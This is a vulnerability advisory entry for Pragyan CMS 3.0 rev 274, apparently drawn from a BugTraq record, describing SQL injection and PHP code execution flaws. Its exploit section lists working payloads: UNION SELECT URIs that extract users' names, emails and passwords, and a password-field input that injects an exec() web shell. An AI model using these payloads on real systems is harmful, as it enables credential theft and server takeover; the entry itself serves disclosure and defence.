ID
VAR-E-201102-0493
TITLE
Pragyan CMS SQL Injection and PHP Code Execution Vulnerabilities
Trust: 0.3
DESCRIPTION
Pragyan CMS is prone to an SQL-injection vulnerability and a code-execution vulnerability because it fails to sufficiently sanitize user-supplied data.
Successfully exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary PHP code in the context of the application.
Pragyan CMS 3.0 rev 274 is vulnerable; other versions may be affected.
Trust: 0.3
AFFECTED PRODUCTS
vendor: | pragyan | model: | cms pragyan cms rev | scope: | eq | version: | 3.0274 | Trust: 0.3 |
vendor: | pragyan | model: | cms pragyan cms | scope: | eq | version: | 3.0 | Trust: 0.3 |
EXPLOIT
The following example URIs and input are available:
SQL-injection:
http://www.example.com/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,concat(unhex(Hex(cast(@@version as char)))),null,null,null--
http://www.example.com/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,(SELECT concat(0x7e,0x27,unhex(Hex(cast(pragyanV3_users.user_id as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_name as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_email as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_password as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_fullname as char))),0x27,0x7e) FROM `pragyan11`.pragyanV3_users LIMIT 0,1),null,null,null--
PHP code-execution:
password : ");echo exec($_GET["a"]);echo ("
Trust: 0.3
PRICE
Free
Trust: 0.3
TYPE
Input Validation Error
Trust: 0.3
CREDITS
Abhishek Lyall
Trust: 0.3
EXTERNAL IDS
db: | BID | id: | 46573 | Trust: 0.3 |
REFERENCES
url: | http://sourceforge.net/projects/pragyan/ | Trust: 0.3 |
url: | http://bugix-security.blogspot.com/2011/02/pragyan-cms-multipy-vulnerabilities.html | Trust: 0.3 |
SOURCES
db: | BID | id: | 46573 |
LAST UPDATE DATE
2022-07-27T09:19:20.153000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 46573 | date: | 2011-02-25T00:00:00 |
SOURCES RELEASE DATE
db: | BID | id: | 46573 | date: | 2011-02-25T00:00:00 |